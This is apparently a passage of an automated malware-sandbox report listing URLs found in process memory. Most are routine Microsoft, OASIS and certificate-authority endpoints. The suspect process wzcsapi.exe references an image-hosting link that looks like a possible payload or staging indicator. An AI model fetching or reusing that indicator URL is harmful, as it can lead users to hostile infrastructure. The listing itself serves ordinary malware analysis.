Source: svchost.exe, 0000000F.00000002.2687279189.000002234AE40000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/pinrulesstl.cabab
Source: svchost.exe, 0000000F.00000002.2690487322.000002234AEF8000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com:80/msdownload/update/v3/static/trustedr/en/pinrulesstl.cab?723c7eb447
Source: lsass.exe, 00000009.00000000.1362110909.0000017D2CE2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000009.00000002.2643302111.0000017D2CE2F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/ws-sx/ws-securitypolicy/200702
Source: lsass.exe, 00000009.00000000.1362157507.0000017D2CE4F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000009.00000002.2644280399.0000017D2CE4F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/ws-sx/ws-trust/200512
Source: svchost.exe, 0000000B.00000003.1498329369.0000013DE210E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1497639926.0000013DE2107000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-
Source: svchost.exe, 0000000B.00000003.1497639926.0000013DE2107000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1502565425.0000013DE2173000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1534241049.0000013DE2107000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1497126697.0000013DE216F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1502608348.0000013DE2176000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.2660619812.0000013DE216F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd
Source: svchost.exe, 0000000B.00000003.1586865759.0000013DE216E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.2660619812.0000013DE216F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd=
Source: svchost.exe, 0000000B.00000003.1586613115.0000013DE2180000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.2660619812.0000013DE2180000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsdAAAAA
Source: svchost.exe, 0000000B.00000002.2656318533.0000013DE2100000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsdMe
Source: svchost.exe, 0000000B.00000003.1586613115.0000013DE2180000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.2660619812.0000013DE2180000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsdVJk9e
Source: svchost.exe, 0000000B.00000003.1586865759.0000013DE216E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.2660619812.0000013DE216F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsdes
Source: svchost.exe, 0000000B.00000003.1569755635.0000013DE2169000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsds
Source: svchost.exe, 0000000B.00000003.1497639926.0000013DE2107000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.2666864067.0000013DE2813000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1502565425.0000013DE2173000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1534241049.0000013DE2107000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1497126697.0000013DE216F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1502608348.0000013DE2176000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.2660619812.0000013DE216F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd
Source: svchost.exe, 0000000B.00000002.2656318533.0000013DE2100000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd:
Source: svchost.exe, 0000000B.00000003.1586613115.0000013DE2180000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.2660619812.0000013DE2180000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsdJL0xe
Source: wzcsapi.exe, 00000003.00000002.2644119365.000000000296C000.00000004.00000800.00020000.00000000.sdmp, wzcsapi.exe, 00000003.00000002.2644119365.00000000029A6000.00000004.00000800.00020000.00000000.sdmp, wzcsapi.exe, 00000003.00000002.2644119365.00000000029F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://i.ibb.co
Source: E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04.15.dr	String found in binary or memory: http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uN
Source: svchost.exe, 0000000F.00000000.1408314119.000002234AEAD000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000F.00000002.2689169832.000002234AEAD000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8
Source: lsass.exe, 00000009.00000000.1363146248.0000017D2D551000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000009.00000000.1363415063.0000017D2D5AB000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000009.00000002.2661719499.0000017D2D5AB000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000009.00000000.1362974572.0000017D2D460000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000009.00000000.1363010118.0000017D2D471000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000009.00000003.2258084109.0000017D2D59E000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: lsass.exe, 00000009.00000000.1362838248.0000017D2D442000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000009.00000000.1363010118.0000017D2D471000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0:
Source: lsass.exe, 00000009.00000000.1363415063.0000017D2D5AB000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000009.00000002.2661719499.0000017D2D5AB000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0I
Source: lsass.exe, 00000009.00000000.1363146248.0000017D2D551000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.msocsp.
Source: lsass.exe, 00000009.00000000.1362838248.0000017D2D442000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000009.00000000.1362503182.0000017D2CE86000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000009.00000000.1363010118.0000017D2D471000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.msocsp.com0
Source: dwm.exe, 0000000E.00000000.1381748007.00000262ED790000.00000004.00000001.00020000.00000000.sdmp, dwm.exe, 0000000E.00000002.2698819352.00000262ED790000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://osoft.co_2010-06X
Source: svchost.exe, 0000000B.00000002.2666864067.0000013DE2813000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://passport.net/tb
Source: svchost.exe, 0000000B.00000002.2642526925.0000013DE18BC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: svchost.exe, 0000000B.00000002.2659982158.0000013DE215F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/=
Source: svchost.exe, 0000000B.00000002.2659179818.0000013DE2137000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous
Source: lsass.exe, 00000009.00000000.1362110909.0000017D2CE2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000009.00000002.2643302111.0000017D2CE2F000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.2659179818.0000013DE2137000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1586613115.0000013DE2180000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1569867845.0000013DE210E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.2659982158.0000013DE215F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.2660619812.0000013DE2180000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1498414598.0000013DE210E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1497639926.0000013DE2107000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1516335688.0000013DE215B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/09/policy
Source: svchost.exe, 0000000B.00000002.2659982158.0000013DE215F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/09/policy1p
Source: svchost.exe, 0000000B.00000003.1517373013.0000013DE2169000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1586865759.0000013DE216E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1569755635.0000013DE2169000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1497126697.0000013DE216F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.2660619812.0000013DE216F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/09/policy=80600
Source: svchost.exe, 0000000B.00000002.2659179818.0000013DE2137000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.2659982158.0000013DE215F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc
Source: lsass.exe, 00000009.00000000.1362110909.0000017D2CE2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000009.00000002.2643302111.0000017D2CE2F000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.2659982158.0000013DE215F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1497639926.0000013DE2107000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust
Source: svchost.exe, 0000000B.00000003.1570022776.0000013DE28D7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1518283361.0000013DE2193000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Issue
Source: svchost.exe, 0000000B.00000003.1497126697.0000013DE216F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Issue502
Source: svchost.exe, 0000000B.00000003.1586865759.0000013DE216E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.2660619812.0000013DE216F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Issuee
Source: svchost.exe, 0000000B.00000003.1517373013.0000013DE2169000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1586865759.0000013DE216E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1569755635.0000013DE2169000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1497126697.0000013DE216F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.2660619812.0000013DE216F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Issuels
Source: svchost.exe, 0000000B.00000003.1586865759.0000013DE216E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1569755635.0000013DE2169000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.2660619812.0000013DE216F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Issueue
Source: svchost.exe, 0000000B.00000002.2645982875.0000013DE18D6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1586865759.0000013DE216E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1569755635.0000013DE2169000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1497126697.0000013DE216F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.2660619812.0000013DE216F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue
Source: svchost.exe, 0000000B.00000003.1586865759.0000013DE216E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1569755635.0000013DE2169000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.2660619812.0000013DE216F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue2
Source: svchost.exe, 0000000B.00000003.1517373013.0000013DE2169000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1586865759.0000013DE216E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1569755635.0000013DE2169000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1497126697.0000013DE216F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.2660619812.0000013DE216F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/Issue
Source: svchost.exe, 0000000B.00000003.1586613115.0000013DE2180000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.2660619812.0000013DE2180000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trustAAAAA
Source: svchost.exe, 0000000B.00000002.2659179818.0000013DE2137000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trustn
Source: wzcsapi.exe, 00000003.00000002.2644119365.00000000028C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: lsass.exe, 00000009.00000000.1362157507.0000017D2CE4F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000009.00000002.2644280399.0000017D2CE4F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000009.00000000.1362110909.0000017D2CE2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000009.00000002.2643302111.0000017D2CE2F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/07/securitypolicy
Source: lsass.exe, 00000009.00000000.1362110909.0000017D2CE2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000009.00000002.2643302111.0000017D2CE2F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: lsass.exe, 00000009.00000000.1362110909.0000017D2CE2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000009.00000002.2643302111.0000017D2CE2F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/erties
Source: lsass.exe, 00000009.00000000.1362110909.0000017D2CE2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000009.00000002.2643302111.0000017D2CE2F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/soap12/
Source: lsass.exe, 00000009.00000000.1362110909.0000017D2CE2F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000009.00000002.2643302111.0000017D2CE2F000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/soap12/P
Source: Amcache.hve.8.dr	String found in binary or memory: http://upx.sf.net
Source: lsass.exe, 00000009.00000000.1363415063.0000017D2D5AB000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000009.00000002.2661719499.0000017D2D5AB000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com/CPS0
Source: svchost.exe, 0000000B.00000003.1369603013.0000013DE2140000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.2639318633.0000013DE1845000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1369760411.0000013DE2163000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1369525790.0000013DE213B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/InlineSignup.aspx?iww=1&id=80502
Source: svchost.exe, 0000000B.00000003.1369760411.0000013DE2163000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.2640193453.0000013DE185F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1369015116.0000013DE2152000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1369948869.0000013DE212C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/Wizard/Password/Change?id=80601
Source: svchost.exe, 0000000B.00000003.1369603013.0000013DE2140000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1369525790.0000013DE213B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/Wizard/Password/Change?id=806014
Source: svchost.exe, 0000000B.00000002.2647979529.0000013DE1902000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/inlines
Source: svchost.exe, 0000000B.00000002.2647979529.0000013DE1902000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&
Source: svchost.exe, 0000000B.00000003.1369015116.0000013DE2152000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80601
Source: svchost.exe, 0000000B.00000003.1369015116.0000013DE2152000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80603
Source: svchost.exe, 0000000B.00000002.2639318633.0000013DE1845000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1369015116.0000013DE2152000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80604
Source: svchost.exe, 0000000B.00000003.1375112246.0000013DE212A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1369015116.0000013DE2152000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1369948869.0000013DE212C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80605
Source: svchost.exe, 0000000B.00000003.1369603013.0000013DE2140000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1369760411.0000013DE2163000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1369525790.0000013DE213B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80600
Source: svchost.exe, 0000000B.00000002.2639318633.0000013DE1845000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80600=
Source: svchost.exe, 0000000B.00000003.1369603013.0000013DE2140000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1369760411.0000013DE2163000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1369525790.0000013DE213B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80601
Source: svchost.exe, 0000000B.00000002.2639318633.0000013DE1845000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80601=
Source: svchost.exe, 0000000B.00000003.1369603013.0000013DE2140000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1369760411.0000013DE2163000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.2640193453.0000013DE185F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1369525790.0000013DE213B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80603
Source: svchost.exe, 0000000B.00000003.1369760411.0000013DE2163000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.2640193453.0000013DE185F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80604
Source: svchost.exe, 0000000B.00000003.1369760411.0000013DE2163000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.2640193453.0000013DE185F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/inlinesignup.aspx?iww=1&id=80605
Source: svchost.exe, 0000000B.00000003.1369603013.0000013DE2140000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.2639318633.0000013DE1845000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1375112246.0000013DE212A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1369015116.0000013DE2152000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1369948869.0000013DE212C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1369525790.0000013DE213B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1369560107.0000013DE2157000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://account.live.com/msangcwam
Source: wzcsapi.exe, 00000003.00000002.2644119365.000000000299C000.00000004.00000800.00020000.00000000.sdmp, wzcsapi.exe, 00000003.00000002.2644119365.000000000292F000.00000004.00000800.00020000.00000000.sdmp, wzcsapi.exe, 00000003.00000002.2644119365.0000000002A83000.00000004.00000800.00020000.00000000.sdmp, wzcsapi.exe, 00000003.00000002.2644119365.000000000295E000.00000004.00000800.00020000.00000000.sdmp, wzcsapi.exe, 00000003.00000002.2644119365.00000000029A6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://i.ibb.co
Source: wzcsapi.exe, 00000003.00000002.2644119365.0000000002A83000.00000004.00000800.00020000.00000000.sdmp, wzcsapi.exe, 00000003.00000002.2644119365.0000000002A7F000.00000004.00000800.00020000.00000000.sdmp, wzcsapi.exe, 00000003.00000002.2644119365.00000000029A6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://i.ibb.co(
Source: wzcsapi.exe, 00000003.00000002.2644119365.000000000292F000.00000004.00000800.00020000.00000000.sdmp, wzcsapi.exe, 00000003.00000002.2674092147.000000001BEE0000.00000004.08000000.00040000.00000000.sdmp, wzcsapi.exe, 00000003.00000002.2644119365.00000000028C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://i.ibb.co/Dwrj41N/Image.png
Source: svchost.exe, 0000000B.00000002.2640193453.0000013DE185F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com
Source: svchost.exe, 0000000B.00000002.2669200646.0000013DE2871000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.2668258474.0000013DE2844000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/
Source: svchost.exe, 0000000B.00000003.1369760411.0000013DE2163000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.2640193453.0000013DE185F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ApproveSession.srf
Source: svchost.exe, 0000000B.00000003.1369603013.0000013DE2140000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1369525790.0000013DE213B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ApproveSession.srfs
Source: svchost.exe, 0000000B.00000003.1369015116.0000013DE2152000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/IfExists.srf?uiflavor=4&id=80600
Source: svchost.exe, 0000000B.00000003.1369015116.0000013DE2152000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/IfExists.srf?uiflavor=4&id=80601
Source: svchost.exe, 0000000B.00000003.1369760411.0000013DE2163000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.2640193453.0000013DE185F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1369894759.0000013DE216B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/IfExists.srf?uiflavor=4&id=80502
Source: svchost.exe, 0000000B.00000003.1369760411.0000013DE2163000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.2640193453.0000013DE185F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1369894759.0000013DE216B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/IfExists.srf?uiflavor=4&id=80600
Source: svchost.exe, 0000000B.00000003.1369760411.0000013DE2163000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1369894759.0000013DE216B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1369948869.0000013DE212C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/IfExists.srf?uiflavor=4&id=80601
Source: svchost.exe, 0000000B.00000002.2640193453.0000013DE185F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/IfExists.srf?uiflavor=4&id=80601er
Source: svchost.exe, 0000000B.00000003.1369603013.0000013DE2140000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.2639318633.0000013DE1845000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1369525790.0000013DE213B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ListSessions.srf
Source: svchost.exe, 0000000B.00000003.1369603013.0000013DE2140000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1369525790.0000013DE213B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ManageApprover.srf
Source: svchost.exe, 0000000B.00000002.2640193453.0000013DE185F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ManageApprover.srf=
Source: svchost.exe, 0000000B.00000003.1369603013.0000013DE2140000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1369760411.0000013DE2163000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.2640193453.0000013DE185F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1369525790.0000013DE213B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ManageLoginKeys.srf
Source: svchost.exe, 0000000B.00000002.2640193453.0000013DE185F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/RST2.srf
Source: svchost.exe, 0000000B.00000002.2647979529.0000013DE18FD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/RST2.srfd
Source: svchost.exe, 0000000B.00000003.1369603013.0000013DE2140000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.2639318633.0000013DE1845000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1369525790.0000013DE213B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/didtou.srf
Source: svchost.exe, 0000000B.00000003.1369603013.0000013DE2140000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000002.2639318633.0000013DE1845000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000B.00000003.1369525790.0000013DE213B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/getrealminfo.srf
